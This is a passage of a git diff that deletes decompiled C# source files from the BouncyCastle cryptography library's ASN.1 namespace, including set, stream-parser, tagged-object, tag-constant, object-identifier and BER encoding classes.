array2.Length) - { - if (!AllZeroesFrom(array2, num)) - { - return -1; - } - return 0; - } - return 0; - } - - private bool AllZeroesFrom(byte[] bs, int pos) - { - while (pos < bs.Length) - { - if (bs[pos++] != 0) - { - return false; - } - } - return true; - } - } - - private readonly IList _set; - - public virtual Asn1Encodable this[int index] => (Asn1Encodable)_set[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => Count; - - public virtual int Count => _set.Count; - - public Asn1SetParser Parser => new Asn1SetParserImpl(this); - - public static Asn1Set GetInstance(object obj) - { - if (obj == null || obj is Asn1Set) - { - return (Asn1Set)obj; - } - if (obj is Asn1SetParser) - { - return GetInstance(((Asn1SetParser)obj).ToAsn1Object()); - } - if (obj is byte[]) - { - try - { - return GetInstance(Asn1Object.FromByteArray((byte[])obj)); - } - catch (IOException ex) - { - throw new ArgumentException("failed to construct set from byte[]: " + ex.Message); - } - } - if (obj is Asn1Encodable) - { - Asn1Object asn1Object = ((Asn1Encodable)obj).ToAsn1Object(); - if (asn1Object is Asn1Set) - { - return (Asn1Set)asn1Object; - } - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static Asn1Set GetInstance(Asn1TaggedObject obj, bool explicitly) - { - Asn1Object asn1Object = obj.GetObject(); - if (explicitly) - { - if (!obj.IsExplicit()) - { - throw new ArgumentException("object implicit - explicit expected."); - } - return (Asn1Set)asn1Object; - } - if (obj.IsExplicit()) - { - return new DerSet(asn1Object); - } - if (asn1Object is Asn1Set) - { - return (Asn1Set)asn1Object; - } - if (asn1Object is Asn1Sequence) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - Asn1Sequence asn1Sequence = (Asn1Sequence)asn1Object; - foreach (Asn1Encodable item in asn1Sequence) - { - asn1EncodableVector.Add(item); - } - return new DerSet(asn1EncodableVector, needsSorting: false); - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - protected internal Asn1Set(int capacity) - { - _set = Platform.CreateArrayList(capacity); - } - - public virtual IEnumerator GetEnumerator() - { - return _set.GetEnumerator(); - } - - [Obsolete("Use GetEnumerator() instead")] - public IEnumerator GetObjects() - { - return GetEnumerator(); - } - - [Obsolete("Use 'object[index]' syntax instead")] - public Asn1Encodable GetObjectAt(int index) - { - return this[index]; - } - - public virtual Asn1Encodable[] ToArray() - { - Asn1Encodable[] array = new Asn1Encodable[Count]; - for (int i = 0; i < Count; i++) - { - array[i] = this[i]; - } - return array; - } - - protected override int Asn1GetHashCode() - { - int num = Count; - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - object current = enumerator.Current; - num *= 17; - num = ((current != null) ? (num ^ current.GetHashCode()) : (num ^ DerNull.Instance.GetHashCode())); - } - return num; - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is Asn1Set asn1Set)) - { - return false; - } - if (Count != asn1Set.Count) - { - return false; - } - IEnumerator enumerator = GetEnumerator(); - IEnumerator enumerator2 = asn1Set.GetEnumerator(); - while (enumerator.MoveNext() && enumerator2.MoveNext()) - { - Asn1Object asn1Object2 = GetCurrent(enumerator).ToAsn1Object(); - Asn1Object obj = GetCurrent(enumerator2).ToAsn1Object(); - if (!asn1Object2.Equals(obj)) - { - return false; - } - } - return true; - } - - private Asn1Encodable GetCurrent(IEnumerator e) - { - Asn1Encodable asn1Encodable = (Asn1Encodable)e.Current; - if (asn1Encodable == null) - { - return DerNull.Instance; - } - return asn1Encodable; - } - - protected internal void Sort() - { - if (_set.Count >= 2) - { - Asn1Encodable[] array = new Asn1Encodable[_set.Count]; - byte[][] array2 = new byte[_set.Count][]; - for (int i = 0; i < _set.Count; i++) - { - array2[i] = (array[i] = (Asn1Encodable)_set[i]).GetEncoded("DER"); - } - Array.Sort(array2, array, new DerComparer()); - for (int j = 0; j < _set.Count; j++) - { - _set[j] = array[j]; - } - } - } - - protected internal void AddObject(Asn1Encodable obj) - { - _set.Add(obj); - } - - public override string ToString() - { - return CollectionUtilities.ToString(_set); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SetParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SetParser.cs deleted file mode 100644 index 062a29c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SetParser.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface Asn1SetParser : IAsn1Convertible -{ - IAsn1Convertible ReadObject(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1StreamParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1StreamParser.cs deleted file mode 100644 index 19bb4c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1StreamParser.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class Asn1StreamParser -{ - private readonly Stream _in; - - private readonly int _limit; - - private readonly byte[][] tmpBuffers; - - public Asn1StreamParser(Stream inStream) - : this(inStream, Asn1InputStream.FindLimit(inStream)) - { - } - - public Asn1StreamParser(Stream inStream, int limit) - { - if (!inStream.CanRead) - { - throw new ArgumentException("Expected stream to be readable", "inStream"); - } - _in = inStream; - _limit = limit; - tmpBuffers = new byte[16][]; - } - - public Asn1StreamParser(byte[] encoding) - : this(new MemoryStream(encoding, writable: false), encoding.Length) - { - } - - internal IAsn1Convertible ReadIndef(int tagValue) - { - return tagValue switch - { - 8 => new DerExternalParser(this), - 4 => new BerOctetStringParser(this), - 16 => new BerSequenceParser(this), - 17 => new BerSetParser(this), - _ => throw new Asn1Exception("unknown BER object encountered: 0x" + tagValue.ToString("X")), - }; - } - - internal IAsn1Convertible ReadImplicit(bool constructed, int tag) - { - if (_in is IndefiniteLengthInputStream) - { - if (!constructed) - { - throw new IOException("indefinite length primitive encoding encountered"); - } - return ReadIndef(tag); - } - if (constructed) - { - switch (tag) - { - case 17: - return new DerSetParser(this); - case 16: - return new DerSequenceParser(this); - case 4: - return new BerOctetStringParser(this); - } - } - else - { - switch (tag) - { - case 17: - throw new Asn1Exception("sequences must use constructed encoding (see X.690 8.9.1/8.10.1)"); - case 16: - throw new Asn1Exception("sets must use constructed encoding (see X.690 8.11.1/8.12.1)"); - case 4: - return new DerOctetStringParser((DefiniteLengthInputStream)_in); - } - } - throw new Asn1Exception("implicit tagging not implemented"); - } - - internal Asn1Object ReadTaggedObject(bool constructed, int tag) - { - if (!constructed) - { - DefiniteLengthInputStream definiteLengthInputStream = (DefiniteLengthInputStream)_in; - return new DerTaggedObject(explicitly: false, tag, new DerOctetString(definiteLengthInputStream.ToArray())); - } - Asn1EncodableVector asn1EncodableVector = ReadVector(); - if (_in is IndefiniteLengthInputStream) - { - if (asn1EncodableVector.Count != 1) - { - return new BerTaggedObject(explicitly: false, tag, BerSequence.FromVector(asn1EncodableVector)); - } - return new BerTaggedObject(explicitly: true, tag, asn1EncodableVector[0]); - } - if (asn1EncodableVector.Count != 1) - { - return new DerTaggedObject(explicitly: false, tag, DerSequence.FromVector(asn1EncodableVector)); - } - return new DerTaggedObject(explicitly: true, tag, asn1EncodableVector[0]); - } - - public virtual IAsn1Convertible ReadObject() - { - int num = _in.ReadByte(); - if (num == -1) - { - return null; - } - Set00Check(enabled: false); - int num2 = Asn1InputStream.ReadTagNumber(_in, num); - bool flag = (num & 0x20) != 0; - int num3 = Asn1InputStream.ReadLength(_in, _limit); - if (num3 < 0) - { - if (!flag) - { - throw new IOException("indefinite length primitive encoding encountered"); - } - IndefiniteLengthInputStream inStream = new IndefiniteLengthInputStream(_in, _limit); - Asn1StreamParser asn1StreamParser = new Asn1StreamParser(inStream, _limit); - if ((num & 0x40) != 0) - { - return new BerApplicationSpecificParser(num2, asn1StreamParser); - } - if ((num & 0x80) != 0) - { - return new BerTaggedObjectParser(constructed: true, num2, asn1StreamParser); - } - return asn1StreamParser.ReadIndef(num2); - } - DefiniteLengthInputStream definiteLengthInputStream = new DefiniteLengthInputStream(_in, num3); - if ((num & 0x40) != 0) - { - return new DerApplicationSpecific(flag, num2, definiteLengthInputStream.ToArray()); - } - if ((num & 0x80) != 0) - { - return new BerTaggedObjectParser(flag, num2, new Asn1StreamParser(definiteLengthInputStream)); - } - if (flag) - { - return num2 switch - { - 4 => new BerOctetStringParser(new Asn1StreamParser(definiteLengthInputStream)), - 16 => new DerSequenceParser(new Asn1StreamParser(definiteLengthInputStream)), - 17 => new DerSetParser(new Asn1StreamParser(definiteLengthInputStream)), - 8 => new DerExternalParser(new Asn1StreamParser(definiteLengthInputStream)), - _ => throw new IOException("unknown tag " + num2 + " encountered"), - }; - } - int num4 = num2; - if (num4 == 4) - { - return new DerOctetStringParser(definiteLengthInputStream); - } - try - { - return Asn1InputStream.CreatePrimitiveDerObject(num2, definiteLengthInputStream, tmpBuffers); - } - catch (ArgumentException exception) - { - throw new Asn1Exception("corrupted stream detected", exception); - } - } - - private void Set00Check(bool enabled) - { - if (_in is IndefiniteLengthInputStream) - { - ((IndefiniteLengthInputStream)_in).SetEofOn00(enabled); - } - } - - internal Asn1EncodableVector ReadVector() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - IAsn1Convertible asn1Convertible; - while ((asn1Convertible = ReadObject()) != null) - { - asn1EncodableVector.Add(asn1Convertible.ToAsn1Object()); - } - return asn1EncodableVector; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObject.cs deleted file mode 100644 index 033502e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObject.cs +++ /dev/null @@ -1,126 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1TaggedObject : Asn1Object, Asn1TaggedObjectParser, IAsn1Convertible -{ - internal int tagNo; - - internal bool explicitly = true; - - internal Asn1Encodable obj; - - public int TagNo => tagNo; - - internal static bool IsConstructed(bool isExplicit, Asn1Object obj) - { - if (isExplicit || obj is Asn1Sequence || obj is Asn1Set) - { - return true; - } - if (!(obj is Asn1TaggedObject asn1TaggedObject)) - { - return false; - } - return IsConstructed(asn1TaggedObject.IsExplicit(), asn1TaggedObject.GetObject()); - } - - public static Asn1TaggedObject GetInstance(Asn1TaggedObject obj, bool explicitly) - { - if (explicitly) - { - return (Asn1TaggedObject)obj.GetObject(); - } - throw new ArgumentException("implicitly tagged tagged object"); - } - - public static Asn1TaggedObject GetInstance(object obj) - { - if (obj == null || obj is Asn1TaggedObject) - { - return (Asn1TaggedObject)obj; - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - protected Asn1TaggedObject(int tagNo, Asn1Encodable obj) - { - explicitly = true; - this.tagNo = tagNo; - this.obj = obj; - } - - protected Asn1TaggedObject(bool explicitly, int tagNo, Asn1Encodable obj) - { - this.explicitly = explicitly || obj is IAsn1Choice; - this.tagNo = tagNo; - this.obj = obj; - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is Asn1TaggedObject asn1TaggedObject)) - { - return false; - } - if (tagNo == asn1TaggedObject.tagNo && explicitly == asn1TaggedObject.explicitly) - { - return object.Equals(GetObject(), asn1TaggedObject.GetObject()); - } - return false; - } - - protected override int Asn1GetHashCode() - { - int num = tagNo.GetHashCode(); - if (obj != null) - { - num ^= obj.GetHashCode(); - } - return num; - } - - public bool IsExplicit() - { - return explicitly; - } - - public bool IsEmpty() - { - return false; - } - - public Asn1Object GetObject() - { - if (obj != null) - { - return obj.ToAsn1Object(); - } - return null; - } - - public IAsn1Convertible GetObjectParser(int tag, bool isExplicit) - { - switch (tag) - { - case 17: - return Asn1Set.GetInstance(this, isExplicit).Parser; - case 16: - return Asn1Sequence.GetInstance(this, isExplicit).Parser; - case 4: - return Asn1OctetString.GetInstance(this, isExplicit).Parser; - default: - if (isExplicit) - { - return GetObject(); - } - throw Platform.CreateNotImplementedException("implicit tagging for tag: " + tag); - } - } - - public override string ToString() - { - return "[" + tagNo + "]" + obj; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObjectParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObjectParser.cs deleted file mode 100644 index a7b97bf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1TaggedObjectParser.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface Asn1TaggedObjectParser : IAsn1Convertible -{ - int TagNo { get; } - - IAsn1Convertible GetObjectParser(int tag, bool isExplicit); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Tags.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Tags.cs deleted file mode 100644 index e0574fa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Tags.cs +++ /dev/null @@ -1,60 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class Asn1Tags -{ - public const int Boolean = 1; - - public const int Integer = 2; - - public const int BitString = 3; - - public const int OctetString = 4; - - public const int Null = 5; - - public const int ObjectIdentifier = 6; - - public const int External = 8; - - public const int Enumerated = 10; - - public const int Sequence = 16; - - public const int SequenceOf = 16; - - public const int Set = 17; - - public const int SetOf = 17; - - public const int NumericString = 18; - - public const int PrintableString = 19; - - public const int T61String = 20; - - public const int VideotexString = 21; - - public const int IA5String = 22; - - public const int UtcTime = 23; - - public const int GeneralizedTime = 24; - - public const int GraphicString = 25; - - public const int VisibleString = 26; - - public const int GeneralString = 27; - - public const int UniversalString = 28; - - public const int BmpString = 30; - - public const int Utf8String = 12; - - public const int Constructed = 32; - - public const int Application = 64; - - public const int Tagged = 128; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BC/BCObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BC/BCObjectIdentifiers.cs deleted file mode 100644 index 7ba752d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BC/BCObjectIdentifiers.cs +++ /dev/null @@ -1,72 +0,0 @@ -namespace Org.BouncyCastle.Asn1.BC; - -public abstract class BCObjectIdentifiers -{ - public static readonly DerObjectIdentifier bc = new DerObjectIdentifier("1.3.6.1.4.1.22554"); - - public static readonly DerObjectIdentifier bc_pbe = bc.Branch("1"); - - public static readonly DerObjectIdentifier bc_pbe_sha1 = bc_pbe.Branch("1"); - - public static readonly DerObjectIdentifier bc_pbe_sha256 = bc_pbe.Branch("2.1"); - - public static readonly DerObjectIdentifier bc_pbe_sha384 = bc_pbe.Branch("2.2"); - - public static readonly DerObjectIdentifier bc_pbe_sha512 = bc_pbe.Branch("2.3"); - - public static readonly DerObjectIdentifier bc_pbe_sha224 = bc_pbe.Branch("2.4"); - - public static readonly DerObjectIdentifier bc_pbe_sha1_pkcs5 = bc_pbe_sha1.Branch("1"); - - public static readonly DerObjectIdentifier bc_pbe_sha1_pkcs12 = bc_pbe_sha1.Branch("2"); - - public static readonly DerObjectIdentifier bc_pbe_sha256_pkcs5 = bc_pbe_sha256.Branch("1"); - - public static readonly DerObjectIdentifier bc_pbe_sha256_pkcs12 = bc_pbe_sha256.Branch("2"); - - public static readonly DerObjectIdentifier bc_pbe_sha1_pkcs12_aes128_cbc = bc_pbe_sha1_pkcs12.Branch("1.2"); - - public static readonly DerObjectIdentifier bc_pbe_sha1_pkcs12_aes192_cbc = bc_pbe_sha1_pkcs12.Branch("1.22"); - - public static readonly DerObjectIdentifier bc_pbe_sha1_pkcs12_aes256_cbc = bc_pbe_sha1_pkcs12.Branch("1.42"); - - public static readonly DerObjectIdentifier bc_pbe_sha256_pkcs12_aes128_cbc = bc_pbe_sha256_pkcs12.Branch("1.2"); - - public static readonly DerObjectIdentifier bc_pbe_sha256_pkcs12_aes192_cbc = bc_pbe_sha256_pkcs12.Branch("1.22"); - - public static readonly DerObjectIdentifier bc_pbe_sha256_pkcs12_aes256_cbc = bc_pbe_sha256_pkcs12.Branch("1.42"); - - public static readonly DerObjectIdentifier bc_sig = bc.Branch("2"); - - public static readonly DerObjectIdentifier sphincs256 = bc_sig.Branch("1"); - - public static readonly DerObjectIdentifier sphincs256_with_BLAKE512 = sphincs256.Branch("1"); - - public static readonly DerObjectIdentifier sphincs256_with_SHA512 = sphincs256.Branch("2"); - - public static readonly DerObjectIdentifier sphincs256_with_SHA3_512 = sphincs256.Branch("3"); - - public static readonly DerObjectIdentifier xmss = bc_sig.Branch("2"); - - public static readonly DerObjectIdentifier xmss_with_SHA256 = xmss.Branch("1"); - - public static readonly DerObjectIdentifier xmss_with_SHA512 = xmss.Branch("2"); - - public static readonly DerObjectIdentifier xmss_with_SHAKE128 = xmss.Branch("3"); - - public static readonly DerObjectIdentifier xmss_with_SHAKE256 = xmss.Branch("4"); - - public static readonly DerObjectIdentifier xmss_mt = bc_sig.Branch("3"); - - public static readonly DerObjectIdentifier xmss_mt_with_SHA256 = xmss_mt.Branch("1"); - - public static readonly DerObjectIdentifier xmss_mt_with_SHA512 = xmss_mt.Branch("2"); - - public static readonly DerObjectIdentifier xmss_mt_with_SHAKE128 = xmss_mt.Branch("3"); - - public static readonly DerObjectIdentifier xmss_mt_with_SHAKE256 = xmss_mt.Branch("4"); - - public static readonly DerObjectIdentifier bc_exch = bc.Branch("3"); - - public static readonly DerObjectIdentifier newHope = bc_exch.Branch("1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecific.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecific.cs deleted file mode 100644 index e1caf96..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecific.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class BerApplicationSpecific : DerApplicationSpecific -{ - public BerApplicationSpecific(int tagNo, Asn1EncodableVector vec) - : base(tagNo, vec) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecificParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecificParser.cs deleted file mode 100644 index a34aebc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerApplicationSpecificParser.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class BerApplicationSpecificParser : IAsn1ApplicationSpecificParser, IAsn1Convertible -{ - private readonly int tag; - - private readonly Asn1StreamParser parser; - - internal BerApplicationSpecificParser(int tag, Asn1StreamParser parser) - { - this.tag = tag; - this.parser = parser; - } - - public IAsn1Convertible ReadObject() - { - return parser.ReadObject(); - } - - public Asn1Object ToAsn1Object() - { - return new BerApplicationSpecific(tag, parser.ReadVector()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerBitString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerBitString.cs deleted file mode 100644 index d04c6e9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerBitString.cs +++ /dev/null @@ -1,36 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class BerBitString : DerBitString -{ - public BerBitString(byte[] data, int padBits) - : base(data, padBits) - { - } - - public BerBitString(byte[] data) - : base(data) - { - } - - public BerBitString(int namedBits) - : base(namedBits) - { - } - - public BerBitString(Asn1Encodable obj) - : base(obj) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteEncoded(3, (byte)mPadBits, mData); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerGenerator.cs deleted file mode 100644 index b8be47a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerGenerator.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerGenerator : Asn1Generator -{ - private bool _tagged = false; - - private bool _isExplicit; - - private int _tagNo; - - protected BerGenerator(Stream outStream) - : base(outStream) - { - } - - public BerGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream) - { - _tagged = true; - _isExplicit = isExplicit; - _tagNo = tagNo; - } - - public override void AddObject(Asn1Encodable obj) - { - new BerOutputStream(base.Out).WriteObject(obj); - } - - public override Stream GetRawOutputStream() - { - return base.Out; - } - - public override void Close() - { - WriteBerEnd(); - } - - private void WriteHdr(int tag) - { - base.Out.WriteByte((byte)tag); - base.Out.WriteByte(128); - } - - protected void WriteBerHeader(int tag) - { - if (_tagged) - { - int num = _tagNo | 0x80; - if (_isExplicit) - { - WriteHdr(num | 0x20); - WriteHdr(tag); - } - else if ((tag & 0x20) != 0) - { - WriteHdr(num | 0x20); - } - else - { - WriteHdr(num); - } - } - else - { - WriteHdr(tag); - } - } - - protected void WriteBerBody(Stream contentStream) - { - Streams.PipeAll(contentStream, base.Out); - } - - protected void WriteBerEnd() - { - base.Out.WriteByte(0); - base.Out.WriteByte(0); - if (_tagged && _isExplicit) - { - base.Out.WriteByte(0); - base.Out.WriteByte(0); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerNull.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerNull.cs deleted file mode 100644 index 057d4eb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerNull.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1; - -public class BerNull : DerNull -{ - public new static readonly BerNull Instance = new BerNull(0); - - [Obsolete("Use static Instance object")] - public BerNull() - { - } - - private BerNull(int dummy) - : base(dummy) - { - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteByte(5); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetString.cs deleted file mode 100644 index 083c7c4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetString.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class BerOctetString : DerOctetString, IEnumerable -{ - private const int MaxLength = 1000; - - private readonly IEnumerable octs; - - public static BerOctetString FromSequence(Asn1Sequence seq) - { - IList list = Platform.CreateArrayList(); - foreach (Asn1Encodable item in seq) - { - list.Add(item); - } - return new BerOctetString(list); - } - - private static byte[] ToBytes(IEnumerable octs) - { - MemoryStream memoryStream = new MemoryStream(); - foreach (DerOctetString oct in octs) - { - byte[] octets = oct.GetOctets(); - memoryStream.Write(octets, 0, octets.Length); - } - return memoryStream.ToArray(); - } - - public BerOctetString(byte[] str) - : base(str) - { - } - - public BerOctetString(IEnumerable octets) - : base(ToBytes(octets)) - { - octs = octets; - } - - public BerOctetString(Asn1Object obj) - : base(obj) - { - } - - public BerOctetString(Asn1Encodable obj) - : base(obj.ToAsn1Object()) - { - } - - public override byte[] GetOctets() - { - return str; - } - - public IEnumerator GetEnumerator() - { - if (octs == null) - { - return GenerateOcts().GetEnumerator(); - } - return octs.GetEnumerator(); - } - - [Obsolete("Use GetEnumerator() instead")] - public IEnumerator GetObjects() - { - return GetEnumerator(); - } - - private IList GenerateOcts() - { - IList list = Platform.CreateArrayList(); - for (int i = 0; i < str.Length; i += 1000) - { - int num = System.Math.Min(str.Length, i + 1000); - byte[] array = new byte[num - i]; - Array.Copy(str, i, array, 0, array.Length); - list.Add(new DerOctetString(array)); - } - return list; - } - - internal override void Encode(DerOutputStream derOut) - { - if (derOut is Asn1OutputStream || derOut is BerOutputStream) - { - derOut.WriteByte(36); - derOut.WriteByte(128); - { - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - DerOctetString obj = (DerOctetString)enumerator.Current; - derOut.WriteObject(obj); - } - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - } - derOut.WriteByte(0); - derOut.WriteByte(0); - } - else - { - base.Encode(derOut); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringGenerator.cs deleted file mode 100644 index fedef21..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringGenerator.cs +++ /dev/null @@ -1,103 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerOctetStringGenerator : BerGenerator -{ - private class BufferedBerOctetStream : BaseOutputStream - { - private byte[] _buf; - - private int _off; - - private readonly BerOctetStringGenerator _gen; - - private readonly DerOutputStream _derOut; - - internal BufferedBerOctetStream(BerOctetStringGenerator gen, byte[] buf) - { - _gen = gen; - _buf = buf; - _off = 0; - _derOut = new DerOutputStream(_gen.Out); - } - - public override void WriteByte(byte b) - { - _buf[_off++] = b; - if (_off == _buf.Length) - { - DerOctetString.Encode(_derOut, _buf, 0, _off); - _off = 0; - } - } - - public override void Write(byte[] buf, int offset, int len) - { - while (len > 0) - { - int num = System.Math.Min(len, _buf.Length - _off); - if (num == _buf.Length) - { - DerOctetString.Encode(_derOut, buf, offset, num); - } - else - { - Array.Copy(buf, offset, _buf, _off, num); - _off += num; - if (_off < _buf.Length) - { - break; - } - DerOctetString.Encode(_derOut, _buf, 0, _off); - _off = 0; - } - offset += num; - len -= num; - } - } - - public override void Close() - { - if (_off != 0) - { - DerOctetString.Encode(_derOut, _buf, 0, _off); - } - _gen.WriteBerEnd(); - base.Close(); - } - } - - public BerOctetStringGenerator(Stream outStream) - : base(outStream) - { - WriteBerHeader(36); - } - - public BerOctetStringGenerator(Stream outStream, int tagNo, bool isExplicit) - : base(outStream, tagNo, isExplicit) - { - WriteBerHeader(36); - } - - public Stream GetOctetOutputStream() - { - return GetOctetOutputStream(new byte[1000]); - } - - public Stream GetOctetOutputStream(int bufSize) - { - if (bufSize >= 1) - { - return GetOctetOutputStream(new byte[bufSize]); - } - return GetOctetOutputStream(); - } - - public Stream GetOctetOutputStream(byte[] buf) - { - return new BufferedBerOctetStream(this, buf); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringParser.cs deleted file mode 100644 index 9da4ea2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOctetStringParser.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerOctetStringParser : Asn1OctetStringParser, IAsn1Convertible -{ - private readonly Asn1StreamParser _parser; - - internal BerOctetStringParser(Asn1StreamParser parser) - { - _parser = parser; - } - - public Stream GetOctetStream() - { - return new ConstructedOctetStream(_parser); - } - - public Asn1Object ToAsn1Object() - { - try - { - return new BerOctetString(Streams.ReadAll(GetOctetStream())); - } - catch (IOException ex) - { - throw new Asn1ParsingException("IOException converting stream to byte array: " + ex.Message, ex); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOutputStream.cs deleted file mode 100644 index b3b22fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerOutputStream.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class BerOutputStream : DerOutputStream -{ - public BerOutputStream(Stream os) - : base(os) - { - } - - [Obsolete("Use version taking an Asn1Encodable arg instead")] - public override void WriteObject(object obj) - { - if (obj == null) - { - WriteNull(); - return; - } - if (obj is Asn1Object) - { - ((Asn1Object)obj).Encode(this); - return; - } - if (obj is Asn1Encodable) - { - ((Asn1Encodable)obj).ToAsn1Object().Encode(this); - return; - } - throw new IOException("object not BerEncodable"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequence.cs deleted file mode 100644 index 6588fce..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/BerSequence.cs +++ /dev/null @@ -1,71 